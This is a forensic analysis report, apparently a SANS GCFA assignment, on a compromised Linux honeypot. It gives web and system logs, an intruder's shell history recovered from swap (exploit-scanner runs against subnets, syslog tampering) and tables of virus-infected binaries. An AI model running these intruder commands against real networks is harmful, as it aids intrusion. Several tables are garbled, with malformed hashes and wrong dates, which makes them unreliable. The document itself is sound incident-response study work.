<tr>
<td>bytes (48.9MB)</td>
<td></td>
<td>Volume Offset:</td>
</tr>
<tr>
<td>Volume Name:</td>
<td>11,551,743</td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /var
httpd access log for June 27, 2003

XXX.XXX.XXX.ca -- [27/Jul/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326
XXX.XXX.XXX.ca -- [27/Jul/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326
XXX.XXX.XXX.ca -- [27/Jul/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
XXX.XXX.XXX.ca -- [27/Jul/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326
XXX.XXX.XXX.ca -- [27/Jul/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
httpd access log for June 29, 2003

XXX.XXX.XXX.com -- [28/Jun/2003:08:46:23 -0600] "HEAD / HTTP/1.1" 200 0
XXX.XXX.XXX.202 -- [29/Jun/2003:02:36:53 -0600] "HEAD / HTTP/1.1" 200 0

httpd error log for June 29, 2003

Sun Jun 29 04:02:28 2003 [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
Sun Jun 29 04:02:28 2003 [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
Sun Jun 29 15:06:18 2003 [error] [client XXX.XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without h
stitname (see RFC2616 section 14.23): /Sun Jun 29 15:06:42 2003 [error] mod_ssl: SSL handshake failed (server myapache:443, client 20 2.10.8.64) (OpenSSL library error follows)
Sun Jun 29 15:07:50 2003 [error] mod_ssl: SSL handshake failed (server myapache:443, client 20 2.10.8.64) (OpenSSL library error follows)
Sun Jun 29 15:20:54 2003 [error] mod_ssl: SSL handshake failed (server myapache:443, client 20 2.10.8.64) (OpenSSL library error follows)
Sun Jun 29 15:25:14 2003 [error] mod_ssl: SSL handshake failed (server myapache:443, client 20 2.10.8.64) (OpenSSL library error follows)
Sun Jun 29 15:28:28 2003 [error] mod_ssl: SSL handshake failed (server myapache:443, client 20 2.10.8.64) (OpenSSL library error follows)
Sun Jun 29 15:36:49 2003 [error] [client 193.109.122.5] request failed: error reading the head ers

Mail file for root. Shows Sementation faults and cron job problems.

From root Fri Jun 27 04:02:02 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id h5RA2206825
for root; Fri, 27 Jun 2003 04:02:02 -0600
Date: Fri, 27 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306271002.2206825@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

######################## LogWatch 2.6 Begin ########################
---------------------
sendmail Begin
---------------------
334 bytes transferred
1 messages sent
---------------------
sendmail End

######################## LogWatch End ########################

From root Sat Jun 28 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA22A09057
for root; Sat, 28 Jun 2003 04:02:02 -0600
Date: Sat, 28 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-id: <200306281002.h5SA22A09057@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

######################## LogWatch 2.6 Begin ########################
---------------------
ModProbe Begin
---------------------
Can't locate these modules:
0a: 1 Time(s)
---------------------
ModProbe End
---------------------

---------------------
sendmail Begin
---------------------
334 bytes transferred
1 messages sent
---------------------
sendmail End

---------------------

---------------------
SSHD Begin
---------------------
Failed logins from these:
userid1/password from 192.168.2.1: 1 time(s)
userid1/password from 192.168.2.13: 1 time(s)

Users logging in through sshd:
userid1 logged in from 192.168.2.1 using password: 1 Times(s)
root logged in from 192.168.2.121 using password: 2 Times(s)
---------------------
SSHD End
---------------------

######################## LogWatch End ########################

From root Sat Jun 28 04:04:12 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA24a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: <200306281002.15525924048@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5STA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
Message-Id: <200306291002.h5STA22E10471@localhost.localdomain>
From: root@localhost.localdomain
To: root@localhost.localdomain
Subject: LogWatch for rh1

################## LogWatch 2.6 Begin ####################
---------------------
sendmail Begin
------------------------
1336 bytes transferred
2 messages sent
----------------------
sendmail End
-------------------------

###################### LogWatch End ########################

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5STA24210482
for root; Sun, 29 Jun 2003 23:56:02 -0600
Date: Sun, 29 Jun 2003 23:56:02 -0600
Message-Id: <200306300553.h5STA24210482@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:56:02 -0600
Date: Sun, 29 Jun 2003 23:56:02 -0600
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
EnCase Computer Analysis Report

To: root@localhost.localdomain
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A
X-Cron-Env: <SHELL>/bin/sh
X-Cron-Env: <HOME>/root
X-Cron-Env: <PATH>/usr/bin:/bin:
X-Cron-Env: <LOGNAME>=root

/usr/lib/sa/sa2: line 14: 27610 Segmentation fault 
  find /var/log/sa \( -name 'sar??' -o -name 'sa??' \) -mtime +7 -exec rm -f {} \;

From root Mon Jun 30 04:05:09 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5UA24x28029
for root; Mon, 30 Jun 2003 04:02:04 -0600
Date: Mon, 30 Jun 2003 04:02:04 -0600
Message-Id: <200306301002.h5UA24x28029@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL>/bin/bash
X-Cron-Env: <PATH>/sbin:/bin:/usr/sbin:/usr/bin:
X-Cron-Env: <MAILTO>=root
X-Cron-Env: <HOME>/
X-Cron-Env: <LOGNAME>=root

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db
      /etc/cron.daily/makewhatis.cron:

      /usr/sbin/makewhatis: line 360: 28130 Segmentation fault 
          rm $TMPFILE
      /usr/sbin/makewhatis: line 360: 28191 Segmentation fault 
          rm $TMPFILE
      /usr/sbin/makewhatis: line 360: 28222 Segmentation fault 
          rm $TMPFILE
      /usr/sbin/makewhatis: line 360: 28239 Segmentation fault 
          rm $TMPFILE
      /usr/sbin/makewhatis: line 360: 28248 Segmentation fault 
          rm $TMPFILE
      /usr/sbin/makewhatis: line 360: 28261 Segmentation fault 
          rm $TMPFILE
      /usr/sbin/makewhatis: line 363: 28264 Segmentation fault 
          rm -rf $TMPFILEDIR
      /usr/sbin/makewhatis: line 1: 28266 Segmentation fault 
          rm -f /tmp/makewhatisTS0HF
      /etc/cron.daily/makewhatis.cron: line 1: 28268 Segmentation fault 
          rm -f /var/lock/makewhatis.lock

Volume swap1

The following are bookmarks from Volume swap1
clusters of interest from swap

root:~.XXX.XXX.ca:---:---:---:---:---:MrIdiot

```
PATH=/bin:/sbin:/usr/bin:/usr
readline stdin
more syslog.conf
ls -l
```

cd /var/log
tail messages
ls -l
vi /etc/syslog.conf
cd /var/log
tail boot.log
ifconfig -a
cd /usr/
more cron
cd asm
```
"\033[0;${USER}@${HOSTNAME%%.*}:${PWD/$HOME/~}:007": *]:${PWD/$HOME/-}\033\"
```
./sys XXX.XXX.49.137.
./samba -d 0 -S 192.168.2.*
```
cp /etc/syslog.conf kld.conf
chown root:root kld.conf
```
./samba -d 0 -S XXX.XXX.5.*
```

---

Files infected with Jac.8759 virus

Files infected by the Linux.Jac.8759 virus
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>148) rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c466e54bdced26d5deff0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>149) ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcfef97f44f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>150) loadkeys</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\loadkeys</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>fe4f44934ee081482eaf32028799799</td>
<td>82,944</td>
<td>82,911</td>
</tr>
<tr>
<td>151) bzip2recover</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>5d50b7a01bbf832876e7092dc91d70f4</td>
<td>16,384</td>
<td>15,624</td>
</tr>
<tr>
<td>152) gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccbf3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>153) gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccbf3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>No.</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>-----</td>
<td>---------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>------------------------</td>
<td>------------------------</td>
<td>------------------------</td>
<td>-------------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>154</td>
<td>getent</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/getent</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4ddedecff3e3c8a30c99725b</td>
<td>20,480</td>
</tr>
<tr>
<td>155</td>
<td>iconv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/iconv</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>f1a14ddaf6053137dbda6798ee90f5a9</td>
<td>53,248</td>
</tr>
<tr>
<td>156</td>
<td>lddlibc4</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/lddlibc4</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>2e4e896f0ea9192ef5d94673d79dd403</td>
<td>8,192</td>
</tr>
<tr>
<td>157</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07b6f45b4d281cf00e5a4fdbc3</td>
<td>299,008</td>
</tr>
</tbody>
</table>
Logical Size 298,828

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>159)</td>
<td>localedf</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedf</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>160)</td>
<td>sprof</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>161)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>162)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>163)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>164)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>

165) **Name:** eject

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system:/usr/bin/lsattr</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>85042620b5dd45a67c0280c9a3751793</td>
</tr>
<tr>
<td>Physical Size</td>
<td>28,672</td>
</tr>
<tr>
<td>Logical Size</td>
<td>25,812</td>
</tr>
</tbody>
</table>

166) **Name:** eject

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system:/usr/bin/eject</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>85042620b5dd45a67c0280c9a3751793</td>
</tr>
<tr>
<td>Physical Size</td>
<td>28,672</td>
</tr>
<tr>
<td>Logical Size</td>
<td>25,812</td>
</tr>
</tbody>
</table>

167) **Name:** file

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system:/usr/bin/file</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>63a4be81d1843be376f98b0986ff836a</td>
</tr>
<tr>
<td>Physical Size</td>
<td>49,152</td>
</tr>
<tr>
<td>Logical Size</td>
<td>48,674</td>
</tr>
</tbody>
</table>

168) **Name:** file

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system:/usr/bin/file</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>63a4be81d1843be376f98b0986ff836a</td>
</tr>
<tr>
<td>Physical Size</td>
<td>49,152</td>
</tr>
<tr>
<td>Logical Size</td>
<td>48,674</td>
</tr>
</tbody>
</table>

169) **Name:** ksymoops

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system:/usr/bin/ksymoops</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>------------------</td>
<td>-----------------</td>
</tr>
<tr>
<td>0d9ddca9a28dccc0313ac4012f20c6c31</td>
<td>450,560</td>
</tr>
<tr>
<td>5da1e3d5a9112696f1f17b6c2256240e</td>
<td>110,592</td>
</tr>
<tr>
<td>f3f3e1eeca45e97997a65be3b05346f9</td>
<td>19,456</td>
</tr>
<tr>
<td>c35e95208f882a4881492ff554ce5f</td>
<td>12,288</td>
</tr>
<tr>
<td>a37e77f1a768a2dcbce97f4437a46aa</td>
<td>481,280</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

#### 175) Name: `aumix-minimal`
- **Description:** File
- **Full Path:** 
  ```
  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\aumix-minimal
  ```
- **Entry Modified:** 06/29/03 03:22:11PM
- **Last Accessed:** 06/30/03 04:50:01PM
- **Last Written:** 02/26/02 04:20:56AM
- **Hash Value:** 77b6900f314a7e6c8e16c21291102c1a
- **Physical Size:** 19,456
- **Logical Size:** 19,071

#### 176) Name: `kill`
- **Description:** File
- **Full Path:** 
  ```
  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\kill
  ```
- **Entry Modified:** 06/29/03 03:22:11PM
- **Last Accessed:** 06/30/03 04:50:02PM
- **Last Written:** 04/01/02 05:26:23PM
- **Hash Value:** 4e1659b52917e4ba4225086ad43b3159
- **Physical Size:** 17,408
- **Logical Size:** 16,523

#### 177) Name: `mv`
- **Description:** File
- **Full Path:** 
  ```
  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv
  ```
- **Entry Modified:** 06/29/03 03:22:10PM
- **Last Accessed:** 06/30/03 04:50:00PM
- **Last Written:** 03/24/02 07:23:18PM
- **Hash Value:** d45155beffebebdec7ac6d26a7add8d3a
- **Physical Size:** 53,248
- **Logical Size:** 52,255

#### 178) Name: `Hard Link Data 1`
- **Description:** File
- **Full Path:** 
  ```
  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
  ```
- **Entry Modified:** 06/29/03 03:22:11PM
- **Last Accessed:** 06/30/03 04:50:01PM
- **Last Written:** 03/13/02 05:55:33PM
- **Hash Value:** 6a91a25fc509eo33def24687e78ce903
- **Physical Size:** 72,704
- **Logical Size:** 72,314

#### 179) Name: `Hard Link Data 1`
- **Description:** File
- **Full Path:** 
  ```
  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
  ```
- **Entry Modified:** 06/29/03 03:22:11PM
- **Last Accessed:** 06/30/03 04:50:01PM
- **Last Written:** 03/13/02 05:55:33PM
- **Hash Value:** 6a91a25fc509eo33def24687e78ce903
- **Physical Size:** 72,704
- **Logical Size:** 72,314

#### 180) Name: `sfxload`
- **Description:** File
- **Full Path:** 
  ```
  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sfxload
  ```
- **Entry Modified:** 06/29/03 03:22:11PM
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>hdx1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:11PM</td>
<td>20e5862eafe2eb1559ebbe060c4716c</td>
<td>728</td>
<td>0</td>
</tr>
<tr>
<td>rpm</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rpm</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/18/02 03:35:59PM</td>
<td>2785d86cdf94e3e2132035bb2d0099</td>
<td>1,744,896</td>
<td>1,744,171</td>
</tr>
<tr>
<td>Hard Link Data 1</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>sort</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sort</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>2785d86cdf94e3e2132035bb2d0099</td>
<td>64,512</td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------</td>
<td>-------------</td>
<td>------------------------------------</td>
<td>--------------------</td>
<td>------------------</td>
<td>----------------</td>
<td>-----------------------------</td>
<td>----------------</td>
<td>--------------</td>
</tr>
<tr>
<td>stty</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\stty</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>f25eed928a929184a6bccc6c12b4ad75</td>
<td>37,888</td>
<td>37,215</td>
</tr>
<tr>
<td>tar</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tar</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/09/02 11:39:13AM</td>
<td>36b826c3993647491db9c5e316aa81b2</td>
<td>164,864</td>
<td>163,999</td>
</tr>
<tr>
<td>sync</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sync</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>641c8bf6d468f700017add2921fa60d4c</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>tcsh</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\tcsh</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>d4a395c4cb342bd6ba6ae59453e4485</td>
<td>297,984</td>
<td>297,363</td>
</tr>
<tr>
<td>ipcalc</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ipcalc</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3ccbf4c32d8bf40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
<tr>
<td>sense</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sense</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>641c8bf6d468f700017add2921fa60d4c</td>
<td>15,360</td>
<td>14,367</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report
Sans GCFA Cert Assignment

Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.s\sense
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 02/07/02 11:37:18AM
Hash Value: 464dc23cac477c43418eb8d3ef087065
Physical Size: 4,096
Logical Size: 4,060

192) Name: sleep
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sleep
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/08/02 10:02:12AM
Hash Value: bbf8b62445518e7be3fe1db34abd1dea
Physical Size: 20,480
Logical Size: 19,999

193) Name: touch
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\touch
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 03/24/02 07:23:19PM
Hash Value: 66fb0a92dc2acbd0c28956eecd6a704a
Physical Size: 33,792
Logical Size: 32,799

194) Name: sed
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sed
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:01PM
Last Written: 04/05/02 03:26:20AM
Hash Value: 541c2abbe42d278119dd9924854202ec
Physical Size: 60,416
Logical Size: 59,612

195) Name: hd1
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hd1
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/29/03 03:22:11PM
Last Written: 06/29/03 03:22:11PM
Hash Value: 728
Physical Size: 728
Logical Size: 0

196) Name: libgc.so
